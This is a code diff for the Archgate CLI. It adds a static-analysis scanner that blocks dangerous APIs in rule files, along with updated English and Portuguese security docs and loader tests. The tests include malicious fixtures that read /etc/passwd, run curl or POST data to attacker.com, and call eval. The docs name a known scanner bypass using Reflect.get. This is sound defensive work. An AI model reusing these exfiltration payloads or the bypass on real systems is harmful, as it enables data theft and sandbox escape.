diff --git a/.archgate/adrs/GEN-002-docs-i18n.md b/.archgate/adrs/GEN-002-docs-i18n.md index cb6d4829..740126cd 100644 --- a/.archgate/adrs/GEN-002-docs-i18n.md +++ b/.archgate/adrs/GEN-002-docs-i18n.md @@ -70,10 +70,12 @@ The sidebar in `docs/astro.config.mjs` does NOT need per-locale duplication. Sta - **DO** preserve MDX curly-brace escaping (`\{\}`) in translations, following [GEN-001](./GEN-001-documentation-site.md) - **DO** preserve Starlight component import statements identically in translated files - **DO** update translations in the same PR that modifies the English source content +- **DO** use correct diacritical marks (accents) in Portuguese translations -- ã, ç, é, í, ó, ú, â, ê, ô, à are mandatory. Never write unaccented Portuguese (e.g., `não` not `nao`, `código` not `codigo`, `você` not `voce`, `segurança` not `seguranca`, `funções` not `funcoes`) - **DO** update the `LOCALES` constant in the companion rules file when adding a new language ### Don't +- **DON'T** write Portuguese text without diacritical marks -- unaccented Portuguese is grammatically incorrect and unprofessional (e.g., `execução` not `execucao`, `configuração` not `configuracao`, `também` not `tambem`) - **DON'T** leave pages untranslated without a tracking issue explaining when the translation will be added - **DON'T** use machine translation without human review for technical accuracy - **DON'T** translate code examples, TypeScript identifiers, CLI command names, or file paths diff --git a/bun.lock b/bun.lock index eaeaafa3..4fc3a39d 100644 --- a/bun.lock +++ b/bun.lock @@ -15,6 +15,7 @@ "conventional-changelog": "7.2.0", "conventional-changelog-angular": "8.3.0", "inquirer": "13.3.2", + "meriyah": "7.1.0", "oxfmt": "0.41.0", "oxlint": "1.56.0", "posthog-node": "5.28.5", @@ -471,6 +472,8 @@ "merge": ["merge@2.1.1", "", {}, "sha512-jz+Cfrg9GWOZbQAnDQ4hlVnQky+341Yk5ru8bZSe6sIDTCIg8n9i/u7hSQGSVOF3C7lH6mGtqjkiT9G4wFLL0w=="], + "meriyah": ["meriyah@7.1.0", "", {}, "sha512-4K/lV+RFSrM8vy9H58FSd+wrxrXlPhYOK8AOaNQ7iFaHugYRx4tHIAaRYLMtXx/spMByZ4S080di6lXSTDI9eg=="], + "micromatch": ["micromatch@4.0.8", "", { "dependencies": { "braces": "^3.0.3", "picomatch": "^2.3.1" } }, "sha512-PXwfBhYu0hBCPw8Dn0E+WDYb7af3dSLVWKi3HGv84IdF4TyFoC0ysxFd0Goxw7nSv4T/PzEJQxsYsEiFCKo2BA=="], "mimic-fn": ["mimic-fn@2.1.0", "", {}, "sha512-OqbOk5oEQeAZ8WXWydlu9HJjz9WVdEIvamMCcXmuqUYjTknH/sqsWvhQ3vgwKFRR1HpjvNBKQ37nbJgYzGqGcg=="], diff --git a/docs/public/llms-full.txt b/docs/public/llms-full.txt index 3d166931..5b31b5e0 100644 --- a/docs/public/llms-full.txt +++ b/docs/public/llms-full.txt @@ -1696,23 +1696,30 @@ This means: Rules receive a `RuleContext` object with sandboxed file operations. All `RuleContext` methods (`readFile`, `readJSON`, `grep`, `grepFiles`, `glob`) are restricted to the project root directory -- path traversal via `../`, absolute paths, and symbolic links are blocked and throw an error. -However, because rules are standard TypeScript modules, they can also use any Bun/Node.js API directly: +In addition to the runtime sandbox, Archgate runs a **static analysis security scanner** on every `.rules.ts` file before executing it. The scanner parses the rule's AST and blocks files that contain dangerous patterns: -| Capability | Via RuleContext | Via direct API calls | -| -------------------------- | --------------- | ------------------------ | -| Read files in project | Yes (sandboxed) | Yes (unrestricted) | -| Read files outside project | Blocked | Yes (`Bun.file()`, `fs`) | -| Network requests | No API provided | Yes (`fetch()`) | -| Spawn subprocesses | No API provided | Yes (`Bun.spawn()`) | -| Environment variables | No API provided | Yes (`process.env`) | +| Pattern | Blocked | +| ------------------------------------------------------------------ | ------- | +| Imports of `node:fs`, `child_process`, `net`, `http`, `vm`, etc. | Yes | +| `Bun.spawn()`, `Bun.write()`, `Bun.file()`, `Bun.$` | Yes | +| `fetch()` | Yes | +| `eval()`, `new Function()` | Yes | +| Computed property access (`Bun[variable]`, `globalThis[variable]`) | Yes | +| Dynamic `import()` with non-literal argument | Yes | +| Assignment to `globalThis` or `process.env` | Yes | -The `RuleContext` sandbox prevents accidental path traversal in well-intentioned rules. It does not protect against deliberately malicious code -- a rule that imports `fs` directly can bypass the sandbox. +If any banned pattern is found, the rule file is **not imported or executed** and `archgate check` exits with an error. + +**Safe modules that are allowed:** `node:path`, `node:url`, `node:util`, `node:crypto` -- these are utility modules with no filesystem, network, or process I/O capabilities. + +The scanner raises the bar from "trivial to exploit" to "requires deliberate obfuscation that looks suspicious in code review." Well-behaved rules only use the `RuleContext` methods (`ctx.readFile`, `ctx.grep`, `ctx.glob`, etc.) and `ctx.report` for output. ### What rules cannot do - **Write files** -- the `RuleContext` API is read-only. Rules report violations but cannot modify the codebase. - **Escape the 30-second timeout** -- each rule is killed after 30 seconds of wall-clock time. - **Affect other rules** -- rules from different ADRs run in parallel but share no mutable state through the context API. +- **Use dangerous APIs** -- the security scanner blocks imports of system modules (`fs`, `child_process`, `net`, etc.), Bun APIs (`Bun.spawn`, `Bun.file`), network access (`fetch`), and code generation (`eval`, `new Function`). Rule files that contain these patterns are rejected before execution. ## CI/CD best practices @@ -1792,13 +1799,11 @@ jobs: ### Reviewing rules in new repositories -When cloning or forking a repository that uses Archgate, review the `.archgate/adrs/*.rules.ts` files before running `archgate check` for the first time. Look for: - -- Imports of `fs`, `child_process`, `net`, or other system modules -- Calls to `fetch()`, `Bun.spawn()`, or `Bun.file()` outside the `RuleContext` API -- Top-level code that runs on import (before the `check` function is called) +When cloning or forking a repository that uses Archgate, the security scanner automatically blocks dangerous patterns in `.rules.ts` files. However, you should still review rule files before running `archgate check` for the first time: -Well-behaved rules only use the `RuleContext` methods (`ctx.readFile`, `ctx.grep`, `ctx.glob`, etc.) and `ctx.report` for output. +- The scanner catches explicit use of banned APIs, but sophisticated obfuscation (e.g., `Reflect.get(Bun, "spawn")`) may bypass it +- Top-level code that runs on import (before the `check` function is called) is still executed if it passes the scanner +- Well-behaved rules only use the `RuleContext` methods (`ctx.readFile`, `ctx.grep`, `ctx.glob`, etc.) and `ctx.report` for output ### Credentials diff --git a/docs/src/content/docs/guides/security.mdx b/docs/src/content/docs/guides/security.mdx index db4f7e63..f98fff0e 100644 --- a/docs/src/content/docs/guides/security.mdx +++ b/docs/src/content/docs/guides/security.mdx @@ -19,23 +19,30 @@ This means: Rules receive a `RuleContext` object with sandboxed file operations. All `RuleContext` methods (`readFile`, `readJSON`, `grep`, `grepFiles`, `glob`) are restricted to the project root directory -- path traversal via `../`, absolute paths, and symbolic links are blocked and throw an error. -However, because rules are standard TypeScript modules, they can also use any Bun/Node.js API directly: +In addition to the runtime sandbox, Archgate runs a **static analysis security scanner** on every `.rules.ts` file before executing it. The scanner parses the rule's AST and blocks files that contain dangerous patterns: -| Capability | Via RuleContext | Via direct API calls | -| -------------------------- | --------------- | ------------------------ | -| Read files in project | Yes (sandboxed) | Yes (unrestricted) | -| Read files outside project | Blocked | Yes (`Bun.file()`, `fs`) | -| Network requests | No API provided | Yes (`fetch()`) | -| Spawn subprocesses | No API provided | Yes (`Bun.spawn()`) | -| Environment variables | No API provided | Yes (`process.env`) | +| Pattern | Blocked | +| ------------------------------------------------------------------ | ------- | +| Imports of `node:fs`, `child_process`, `net`, `http`, `vm`, etc. | Yes | +| `Bun.spawn()`, `Bun.write()`, `Bun.file()`, `Bun.$` | Yes | +| `fetch()` | Yes | +| `eval()`, `new Function()` | Yes | +| Computed property access (`Bun[variable]`, `globalThis[variable]`) | Yes | +| Dynamic `import()` with non-literal argument | Yes | +| Assignment to `globalThis` or `process.env` | Yes | -The `RuleContext` sandbox prevents accidental path traversal in well-intentioned rules. It does not protect against deliberately malicious code -- a rule that imports `fs` directly can bypass the sandbox. +If any banned pattern is found, the rule file is **not imported or executed** and `archgate check` exits with an error. + +**Safe modules that are allowed:** `node:path`, `node:url`, `node:util`, `node:crypto` -- these are utility modules with no filesystem, network, or process I/O capabilities. + +The scanner raises the bar from "trivial to exploit" to "requires deliberate obfuscation that looks suspicious in code review." Well-behaved rules only use the `RuleContext` methods (`ctx.readFile`, `ctx.grep`, `ctx.glob`, etc.) and `ctx.report` for output. ### What rules cannot do - **Write files** -- the `RuleContext` API is read-only. Rules report violations but cannot modify the codebase. - **Escape the 30-second timeout** -- each rule is killed after 30 seconds of wall-clock time. - **Affect other rules** -- rules from different ADRs run in parallel but share no mutable state through the context API. +- **Use dangerous APIs** -- the security scanner blocks imports of system modules (`fs`, `child_process`, `net`, etc.), Bun APIs (`Bun.spawn`, `Bun.file`), network access (`fetch`), and code generation (`eval`, `new Function`). Rule files that contain these patterns are rejected before execution. ## CI/CD best practices @@ -115,13 +122,11 @@ jobs: ### Reviewing rules in new repositories -When cloning or forking a repository that uses Archgate, review the `.archgate/adrs/*.rules.ts` files before running `archgate check` for the first time. Look for: - -- Imports of `fs`, `child_process`, `net`, or other system modules -- Calls to `fetch()`, `Bun.spawn()`, or `Bun.file()` outside the `RuleContext` API -- Top-level code that runs on import (before the `check` function is called) +When cloning or forking a repository that uses Archgate, the security scanner automatically blocks dangerous patterns in `.rules.ts` files. However, you should still review rule files before running `archgate check` for the first time: -Well-behaved rules only use the `RuleContext` methods (`ctx.readFile`, `ctx.grep`, `ctx.glob`, etc.) and `ctx.report` for output. +- The scanner catches explicit use of banned APIs, but sophisticated obfuscation (e.g., `Reflect.get(Bun, "spawn")`) may bypass it +- Top-level code that runs on import (before the `check` function is called) is still executed if it passes the scanner +- Well-behaved rules only use the `RuleContext` methods (`ctx.readFile`, `ctx.grep`, `ctx.glob`, etc.) and `ctx.report` for output ### Credentials diff --git a/docs/src/content/docs/pt-br/guides/security.mdx b/docs/src/content/docs/pt-br/guides/security.mdx index 75b81764..239e3b70 100644 --- a/docs/src/content/docs/pt-br/guides/security.mdx +++ b/docs/src/content/docs/pt-br/guides/security.mdx @@ -1,49 +1,56 @@ --- -title: Seguranca -description: Entenda o modelo de confianca do Archgate CLI, como as regras sao executadas e as melhores praticas para rodar verificacoes com seguranca em CI/CD e desenvolvimento local. +title: Segurança +description: Entenda o modelo de confiança do Archgate CLI, como as regras são executadas e as melhores práticas para rodar verificações com segurança em CI/CD e desenvolvimento local. --- -O Archgate executa regras TypeScript a partir de arquivos `.rules.ts` no seu repositorio. Esta pagina explica o modelo de confianca, o que as regras podem e nao podem fazer, e como rodar verificacoes com seguranca. +O Archgate executa regras TypeScript a partir de arquivos `.rules.ts` no seu repositório. Esta página explica o modelo de confiança, o que as regras podem e não podem fazer, e como rodar verificações com segurança. -## Modelo de confianca +## Modelo de confiança -**Arquivos `.rules.ts` sao codigo executavel.** Quando voce roda `archgate check`, o CLI importa dinamicamente cada arquivo `.rules.ts` complementar e executa suas funcoes `check`. Isso equivale a rodar `bun .archgate/adrs/*.rules.ts` -- o codigo tem as mesmas capacidades que qualquer outro script na sua maquina. +**Arquivos `.rules.ts` são código executável.** Quando você roda `archgate check`, o CLI importa dinamicamente cada arquivo `.rules.ts` complementar e executa suas funções `check`. Isso equivale a rodar `bun .archgate/adrs/*.rules.ts` -- o código tem as mesmas capacidades que qualquer outro script na sua máquina. Isso significa: -- Rode `archgate check` apenas em repositorios nos quais voce confia. -- Revise arquivos `.rules.ts` com o mesmo rigor que qualquer outro codigo-fonte do projeto. -- Em projetos open-source, trate mudancas em `.rules.ts` em pull requests como sensíveis do ponto de vista de seguranca. +- Rode `archgate check` apenas em repositórios nos quais você confia. +- Revise arquivos `.rules.ts` com o mesmo rigor que qualquer outro código-fonte do projeto. +- Em projetos open-source, trate mudanças em `.rules.ts` em pull requests como sensíveis do ponto de vista de segurança. ### O que as regras podem acessar -As regras recebem um objeto `RuleContext` com operacoes de arquivo isoladas. Todos os metodos do `RuleContext` (`readFile`, `readJSON`, `grep`, `grepFiles`, `glob`) sao restritos ao diretorio raiz do projeto -- travessia de caminho via `../`, caminhos absolutos e links simbolicos sao bloqueados e lancam um erro. +As regras recebem um objeto `RuleContext` com operações de arquivo isoladas. Todos os métodos do `RuleContext` (`readFile`, `readJSON`, `grep`, `grepFiles`, `glob`) são restritos ao diretório raiz do projeto -- travessia de caminho via `../`, caminhos absolutos e links simbólicos são bloqueados e lançam um erro. -Porem, como as regras sao modulos TypeScript padrao, elas tambem podem usar qualquer API do Bun/Node.js diretamente: +Além do sandbox de runtime, o Archgate executa um **scanner de segurança por análise estática** em cada arquivo `.rules.ts` antes de executá-lo. O scanner analisa a AST da regra e bloqueia arquivos que contenham padrões perigosos: -| Capacidade | Via RuleContext | Via chamadas diretas de API | -| ---------------------------- | --------------------- | --------------------------- | -| Ler arquivos no projeto | Sim (isolado) | Sim (sem restricao) | -| Ler arquivos fora do projeto | Bloqueado | Sim (`Bun.file()`, `fs`) | -| Requisicoes de rede | Nenhuma API fornecida | Sim (`fetch()`) | -| Executar subprocessos | Nenhuma API fornecida | Sim (`Bun.spawn()`) | -| Variaveis de ambiente | Nenhuma API fornecida | Sim (`process.env`) | +| Padrão | Bloqueado | +| ------------------------------------------------------------------------- | --------- | +| Imports de `node:fs`, `child_process`, `net`, `http`, `vm`, etc. | Sim | +| `Bun.spawn()`, `Bun.write()`, `Bun.file()`, `Bun.$` | Sim | +| `fetch()` | Sim | +| `eval()`, `new Function()` | Sim | +| Acesso computado a propriedades (`Bun[variável]`, `globalThis[variável]`) | Sim | +| `import()` dinâmico com argumento não-literal | Sim | +| Atribuição a `globalThis` ou `process.env` | Sim | -O sandbox do `RuleContext` previne travessia de caminho acidental em regras bem-intencionadas. Ele nao protege contra codigo deliberadamente malicioso -- uma regra que importa `fs` diretamente pode contornar o sandbox. +Se qualquer padrão proibido for encontrado, o arquivo de regra **não é importado nem executado** e `archgate check` termina com erro. -### O que as regras nao podem fazer +**Módulos seguros permitidos:** `node:path`, `node:url`, `node:util`, `node:crypto` -- são módulos utilitários sem capacidades de sistema de arquivos, rede ou processos. -- **Escrever arquivos** -- a API do `RuleContext` e somente leitura. Regras reportam violacoes mas nao podem modificar o codebase. -- **Escapar do timeout de 30 segundos** -- cada regra e encerrada apos 30 segundos de tempo de execucao. -- **Afetar outras regras** -- regras de ADRs diferentes rodam em paralelo mas nao compartilham estado mutavel atraves da API de contexto. +O scanner eleva a barreira de "trivial de explorar" para "requer ofuscação deliberada que parece suspeita em code review." Regras bem-comportadas usam apenas os métodos do `RuleContext` (`ctx.readFile`, `ctx.grep`, `ctx.glob`, etc.) e `ctx.report` para saída. -## Boas praticas para CI/CD +### O que as regras não podem fazer -Rodar `archgate check` em CI e seguro quando voce controla o conteudo do repositorio. Cuidado extra e necessario para pull requests de contribuidores externos. +- **Escrever arquivos** -- a API do `RuleContext` é somente leitura. Regras reportam violações mas não podem modificar o codebase. +- **Escapar do timeout de 30 segundos** -- cada regra é encerrada após 30 segundos de tempo de execução. +- **Afetar outras regras** -- regras de ADRs diferentes rodam em paralelo mas não compartilham estado mutável através da API de contexto. +- **Usar APIs perigosas** -- o scanner de segurança bloqueia imports de módulos do sistema (`fs`, `child_process`, `net`, etc.), APIs do Bun (`Bun.spawn`, `Bun.file`), acesso à rede (`fetch`) e geração de código (`eval`, `new Function`). Arquivos de regra que contenham esses padrões são rejeitados antes da execução. + +## Boas práticas para CI/CD + +Rodar `archgate check` em CI é seguro quando você controla o conteúdo do repositório. Cuidado extra é necessário para pull requests de contribuidores externos. ### Branches confiáveis -Para pushes em `main` ou outras branches protegidas, `archgate check` executa codigo que ja foi revisado e mesclado. Isso e seguro: +Para pushes em `main` ou outras branches protegidas, `archgate check` executa código que já foi revisado e mesclado. Isso é seguro: ```yaml on: @@ -60,9 +67,9 @@ jobs: ### Pull requests de forks -Quando um pull request vem de um fork, os arquivos `.rules.ts` no PR podem conter codigo arbitrario. Esse e o mesmo risco de rodar qualquer script de CI nao confiavel. +Quando um pull request vem de um fork, os arquivos `.rules.ts` no PR podem conter código arbitrário. Esse é o mesmo risco de rodar qualquer script de CI não confiável. -**Opcao 1: Exigir aprovacao antes de rodar.** Use regras de protecao de ambiente do GitHub ou `pull_request_target` com aprovacao manual para condicionar o CI a revisao: +**Opção 1: Exigir aprovação antes de rodar.** Use regras de proteção de ambiente do GitHub ou `pull_request_target` com aprovação manual para condicionar o CI à revisão: ```yaml on: @@ -71,7 +78,7 @@ on: jobs: check: runs-on: ubuntu-latest - environment: pr-check # Requer aprovacao manual + environment: pr-check # Requer aprovação manual steps: - uses: actions/checkout@v4 with: @@ -79,9 +86,9 @@ jobs: - uses: archgate/check-action@v1 ``` -**Opcao 2: Rodar verificacoes apenas em arquivos confiaveis.** Use um workflow separado que faz checkout dos arquivos `.rules.ts` da branch base e os executa contra os arquivos-fonte do PR. Isso garante que apenas regras revisadas sejam executadas. +**Opção 2: Rodar verificações apenas em arquivos confiáveis.** Use um workflow separado que faz checkout dos arquivos `.rules.ts` da branch base e os executa contra os arquivos-fonte do PR. Isso garante que apenas regras revisadas sejam executadas. -**Opcao 3: Pular verificacoes em PRs de forks.** Se suas regras sao principalmente para governanca interna, pule verificacoes automatizadas em PRs de forks e rode-as manualmente apos revisao: +**Opção 3: Pular verificações em PRs de forks.** Se suas regras são principalmente para governança interna, pule verificações automatizadas em PRs de forks e rode-as manualmente após revisão: ```yaml on: @@ -96,9 +103,9 @@ jobs: - uses: archgate/check-action@v1 ``` -### Runners com privilegio minimo +### Runners com privilégio mínimo -Rode `archgate check` em runners com permissoes minimas. O job precisa apenas de acesso de leitura ao repositorio -- nao sao necessarios secrets, chaves de deploy ou permissoes de escrita: +Rode `archgate check` em runners com permissões mínimas. O job precisa apenas de acesso de leitura ao repositório -- não são necessários secrets, chaves de deploy ou permissões de escrita: ```yaml jobs: @@ -113,28 +120,26 @@ jobs: ## Desenvolvimento local -### Revisando regras em novos repositorios - -Ao clonar ou fazer fork de um repositorio que usa Archgate, revise os arquivos `.archgate/adrs/*.rules.ts` antes de rodar `archgate check` pela primeira vez. Procure por: +### Revisando regras em novos repositórios -- Imports de `fs`, `child_process`, `net` ou outros modulos do sistema -- Chamadas a `fetch()`, `Bun.spawn()` ou `Bun.file()` fora da API do `RuleContext` -- Codigo de nivel superior que executa no import (antes da funcao `check` ser chamada) +Ao clonar ou fazer fork de um repositório que usa Archgate, o scanner de segurança bloqueia automaticamente padrões perigosos em arquivos `.rules.ts`. Porém, você ainda deve revisar os arquivos de regras antes de rodar `archgate check` pela primeira vez: -Regras bem-comportadas usam apenas os metodos do `RuleContext` (`ctx.readFile`, `ctx.grep`, `ctx.glob`, etc.) e `ctx.report` para saida. +- O scanner detecta uso explícito de APIs proibidas, mas ofuscação sofisticada (ex: `Reflect.get(Bun, "spawn")`) pode contorná-lo +- Código de nível superior que executa no import (antes da função `check` ser chamada) ainda é executado se passar pelo scanner +- Regras bem-comportadas usam apenas os métodos do `RuleContext` (`ctx.readFile`, `ctx.grep`, `ctx.glob`, etc.) e `ctx.report` para saída ### Credenciais -O comando `archgate login` armazena um token de autenticacao em `~/.archgate/credentials` com permissoes de arquivo somente para o proprietario (`0600` em Unix). Este token e usado para instalacao de plugins e nunca e enviado a terceiros alem do servico de plugins do Archgate. +O comando `archgate login` armazena um token de autenticação em `~/.archgate/credentials` com permissões de arquivo somente para o proprietário (`0600` em Unix). Este token é usado para instalação de plugins e nunca é enviado a terceiros além do serviço de plugins do Archgate. -- Nao commite `~/.archgate/credentials` no controle de versao. -- Nao exponha o token em logs de CI. Comandos de instalacao de plugins passam credenciais via URLs autenticadas para o git, que podem aparecer em listagens de processos. Evite rodar `archgate plugin install` com logging verbose em ambientes de CI compartilhados. +- Não commite `~/.archgate/credentials` no controle de versão. +- Não exponha o token em logs de CI. Comandos de instalação de plugins passam credenciais via URLs autenticadas para o git, que podem aparecer em listagens de processos. Evite rodar `archgate plugin install` com logging verbose em ambientes de CI compartilhados. - Para revogar acesso, rode `archgate logout` ou delete `~/.archgate/credentials`. -### Integridade da atualizacao +### Integridade da atualização -Quando voce roda `archgate upgrade`, o CLI baixa o binario de release do GitHub Releases e verifica o checksum SHA256 antes da extracao. Se o checksum nao corresponder, a atualizacao e abortada. Isso protege contra downloads adulterados por interceptacao de rede ou mirrors comprometidos. +Quando você roda `archgate upgrade`, o CLI baixa o binário de release do GitHub Releases e verifica o checksum SHA256 antes da extração. Se o checksum não corresponder, a atualização é abortada. Isso protege contra downloads adulterados por interceptação de rede ou mirrors comprometidos. ## Reportando vulnerabilidades -Se voce descobrir um problema de seguranca no Archgate, por favor reporte de forma responsavel abrindo uma [issue no GitHub](https://github.com/archgate/cli/issues) ou entrando em contato com os mantenedores diretamente. Nao inclua codigo de exploit em issues publicas. +Se você descobrir um problema de segurança no Archgate, por favor reporte de forma responsável abrindo uma [issue no GitHub](https://github.com/archgate/cli/issues) ou entrando em contato com os mantenedores diretamente. Não inclua código de exploit em issues públicas. diff --git a/package.json b/package.json index a5f6a7bd..4c54c00b 100644 --- a/package.json +++ b/package.json @@ -66,6 +66,7 @@ "conventional-changelog": "7.2.0", "conventional-changelog-angular": "8.3.0", "inquirer": "13.3.2", + "meriyah": "7.1.0", "oxfmt": "0.41.0", "oxlint": "1.56.0", "posthog-node": "5.28.5", diff --git a/src/engine/loader.ts b/src/engine/loader.ts index c36f2a5e..f9ee88f2 100644 --- a/src/engine/loader.ts +++ b/src/engine/loader.ts @@ -22,9 +22,10 @@ const RuleSetSchema = z.object({ }) ), }); -import { logDebug } from "../helpers/log"; +import { logDebug, logError } from "../helpers/log"; import { projectPaths } from "../helpers/paths"; import { ensureRulesShim } from "../helpers/rules-shim"; +import { scanRuleSource } from "./rule-scanner"; export interface LoadedAdr { adr: AdrDocument; @@ -90,6 +91,21 @@ export async function loadRuleAdrs( ); } + // Security gate: scan rule source for banned patterns before executing. + // This blocks dangerous imports (node:fs, child_process), Bun APIs + // (Bun.spawn, Bun.file), network access (fetch), eval, and obfuscation + // patterns (computed property access, dynamic imports). + const ruleSource = await Bun.file(rulesFile).text(); + const scanViolations = scanRuleSource(ruleSource); + if (scanViolations.length > 0) { + for (const v of scanViolations) { + logError(`${rulesFile}:${v.line}:${v.column} - ${v.message}`); + } + throw new Error( + `ADR ${adr.frontmatter.id}: rule file blocked by security scanner (${scanViolations.length} violation${scanViolations.length === 1 ? "" : "s"})` + ); + } + // Cache-bust: Bun caches import() per-process, so append a timestamp // to force re-reading from disk on every call (critical for repeated invocations). // Use file:// URL to handle Windows backslash paths in import(). diff --git a/src/engine/rule-scanner.ts b/src/engine/rule-scanner.ts new file mode 100644 index 00000000..334fc256 --- /dev/null +++ b/src/engine/rule-scanner.ts @@ -0,0 +1,184 @@ +import { parseModule } from "meriyah"; + +/** + * Banned module pattern — matches dangerous Node.js/Bun built-in modules + * that provide filesystem, network, process, or VM capabilities. + * + * Safe modules NOT blocked: node:path, node:url, node:util, node:crypto + */ +const BANNED_MODULES = + /^(node:)?(fs|child_process|net|dgram|http|https|http2|worker_threads|cluster|vm)(\/.*)?$/; + +/** Bun API properties that bypass the RuleContext sandbox. */ +const BLOCKED_BUN_PROPS = new Set(["spawn", "spawnSync", "write", "$", "file"]); + +export interface ScanViolation { + message: string; + line: number; + column: number; +} + +interface AstLoc { + start: { line: number; column: number }; +} + +interface AstNode { + type: string; + loc?: AstLoc; + [key: string]: unknown; +} + +function loc(node: AstNode): { line: number; column: number } { + return { + line: node.loc?.start.line ?? 0, + column: node.loc?.start.column ?? 0, + }; +} + +/** + * Scan a `.rules.ts` source string for banned patterns. + * + * The scanner transpiles TypeScript to JavaScript (via Bun.Transpiler), + * parses the result into an ESTree AST (via meriyah), and walks every + * node looking for dangerous imports, globals, and obfuscation patterns. + * + * Returns an empty array if the rule is clean; violations if blocked patterns are found. + */ +export function scanRuleSource(source: string): ScanViolation[] { + const transpiler = new Bun.Transpiler({ loader: "ts" }); + const js = transpiler.transformSync(source); + const ast = parseModule(js, { next: true, loc: true, module: true }); + const violations: ScanViolation[] = []; + + function walk(node: AstNode): void { + if (!node || typeof node !== "object") return; + + switch (node.type) { + case "ImportDeclaration": { + const src = (node.source as { value: string }).value; + if (BANNED_MODULES.test(src) || src === "bun") { + violations.push({ + message: `Import of "${src}" is blocked in rule files. Use the RuleContext API instead.`, + ...loc(node), + }); + } + break; + } + case "MemberExpression": { + const obj = node.object as AstNode & { name?: string }; + const prop = node.property as AstNode & { name?: string }; + const computed = node.computed as boolean; + + // Block Bun.spawn, Bun.write, Bun.$, Bun.file, Bun.spawnSync + if ( + obj.name === "Bun" && + !computed && + BLOCKED_BUN_PROPS.has(prop.name ?? "") + ) { + violations.push({ + message: `Bun.${prop.name}() is blocked in rule files. Use the RuleContext API instead.`, + ...loc(node), + }); + } + + // Block computed access: Bun[x], globalThis[x] + if (computed && (obj.name === "Bun" || obj.name === "globalThis")) { + violations.push({ + message: `Computed property access on ${obj.name} is blocked in rule files.`, + ...loc(node), + }); + } + break; + } + case "CallExpression": { + const callee = node.callee as AstNode & { name?: string }; + if (callee.name === "eval") { + violations.push({ + message: "eval() is blocked in rule files.", + ...loc(node), + }); + } + if (callee.name === "Function") { + violations.push({ + message: "Function() constructor is blocked in rule files.", + ...loc(node), + }); + } + if (callee.name === "fetch") { + violations.push({ + message: + "fetch() is blocked in rule files. Rules should not make network requests.", + ...loc(node), + }); + } + break; + } + case "NewExpression": { + const callee = node.callee as AstNode & { name?: string }; + if (callee.name === "Function") { + violations.push({ + message: "new Function() is blocked in rule files.", + ...loc(node), + }); + } + break; + } + case "ImportExpression": { + const src = node.source as AstNode; + if (src.type !== "Literal") { + violations.push({ + message: + "Dynamic import() with non-literal argument is blocked in rule files.", + ...loc(node), + }); + } + break; + } + case "AssignmentExpression": { + const left = node.left as AstNode & { + object?: AstNode & { name?: string }; + property?: AstNode & { name?: string }; + }; + if (left.type === "MemberExpression") { + if (left.object?.name === "globalThis") { + violations.push({ + message: "Mutating globalThis is blocked in rule files.", + ...loc(node), + }); + } + if ( + left.object?.name === "process" && + left.property?.name === "env" + ) { + const target = `${left.object.name}.${left.property.name}`; + violations.push({ + message: `Mutating ${target} is blocked in rule files.`, + ...loc(node), + }); + } + } + break; + } + } + + // Recurse into child nodes + for (const value of Object.values(node)) { + if (Array.isArray(value)) { + for (const item of value) { + if (item && typeof item === "object" && (item as AstNode).type) { + walk(item as AstNode); + } + } + } else if ( + value && + typeof value === "object" && + (value as AstNode).type + ) { + walk(value as AstNode); + } + } + } + + walk(ast as unknown as AstNode); + return violations; +} diff --git a/tests/engine/loader-security.test.ts b/tests/engine/loader-security.test.ts new file mode 100644 index 00000000..8a82bf25 --- /dev/null +++ b/tests/engine/loader-security.test.ts @@ -0,0 +1,184 @@ +import { describe, expect, test, beforeEach, afterEach } from "bun:test"; +import { mkdtempSync, rmSync, mkdirSync, writeFileSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; + +import { loadRuleAdrs } from "../../src/engine/loader"; + +describe("loadRuleAdrs security scanning", () => { + let tempDir: string; + + beforeEach(() => { + tempDir = mkdtempSync(join(tmpdir(), "archgate-loader-sec-")); + mkdirSync(join(tempDir, ".archgate", "adrs"), { recursive: true }); + }); + + afterEach(() => { + rmSync(tempDir, { recursive: true, force: true }); + }); + + function writeAdrMd(adrsDir: string, id: string, baseName: string): void { + writeFileSync( + join(adrsDir, `${baseName}.md`), + `--- +id: ${id} +title: Test ADR +domain: general +rules: true +--- + +## Context +Test ADR for security scanning. + +## Decision +Test decision. +` + ); + } + + test("blocks rule that imports node:fs", async () => { + const adrsDir = join(tempDir, ".archgate", "adrs"); + writeAdrMd(adrsDir, "SEC-001", "SEC-001-malicious-fs"); + writeFileSync( + join(adrsDir, "SEC-001-malicious-fs.rules.ts"), + `import { readFileSync } from "node:fs"; +export default { + rules: { + "steal-secrets": { + description: "Read secrets", + async check() { + readFileSync("/etc/passwd", "utf8"); + }, + }, + }, +}; +` + ); + + await expect(loadRuleAdrs(tempDir)).rejects.toThrow( + "blocked by security scanner" + ); + }); + + test("blocks rule that uses Bun.spawn", async () => { + const adrsDir = join(tempDir, ".archgate", "adrs"); + writeAdrMd(adrsDir, "SEC-002", "SEC-002-malicious-spawn"); + writeFileSync( + join(adrsDir, "SEC-002-malicious-spawn.rules.ts"), + `export default { + rules: { + "run-command": { + description: "Run arbitrary command", + async check() { + Bun.spawn(["curl", "https://attacker.com"]); + }, + }, + }, +}; +` + ); + + await expect(loadRuleAdrs(tempDir)).rejects.toThrow( + "blocked by security scanner" + ); + }); + + test("blocks rule that uses fetch", async () => { + const adrsDir = join(tempDir, ".archgate", "adrs"); + writeAdrMd(adrsDir, "SEC-003", "SEC-003-malicious-fetch"); + writeFileSync( + join(adrsDir, "SEC-003-malicious-fetch.rules.ts"), + `export default { + rules: { + "exfiltrate": { + description: "Exfiltrate data", + async check() { + fetch("https://attacker.com/exfil", { method: "POST" }); + }, + }, + }, +}; +` + ); + + await expect(loadRuleAdrs(tempDir)).rejects.toThrow( + "blocked by security scanner" + ); + }); + + test("blocks rule that uses eval", async () => { + const adrsDir = join(tempDir, ".archgate", "adrs"); + writeAdrMd(adrsDir, "SEC-004", "SEC-004-malicious-eval"); + writeFileSync( + join(adrsDir, "SEC-004-malicious-eval.rules.ts"), + `export default { + rules: { + "eval-attack": { + description: "Execute arbitrary code", + async check() { + eval("process.exit(1)"); + }, + }, + }, +}; +` + ); + + await expect(loadRuleAdrs(tempDir)).rejects.toThrow( + "blocked by security scanner" + ); + }); + + test("allows clean rule using only RuleContext", async () => { + const adrsDir = join(tempDir, ".archgate", "adrs"); + writeAdrMd(adrsDir, "SEC-005", "SEC-005-clean-rule"); + writeFileSync( + join(adrsDir, "SEC-005-clean-rule.rules.ts"), + `export default { + rules: { + "safe-rule": { + description: "A well-behaved rule", + async check(ctx) { + const files = await ctx.glob("src/**/*.ts"); + for (const file of files) { + const content = 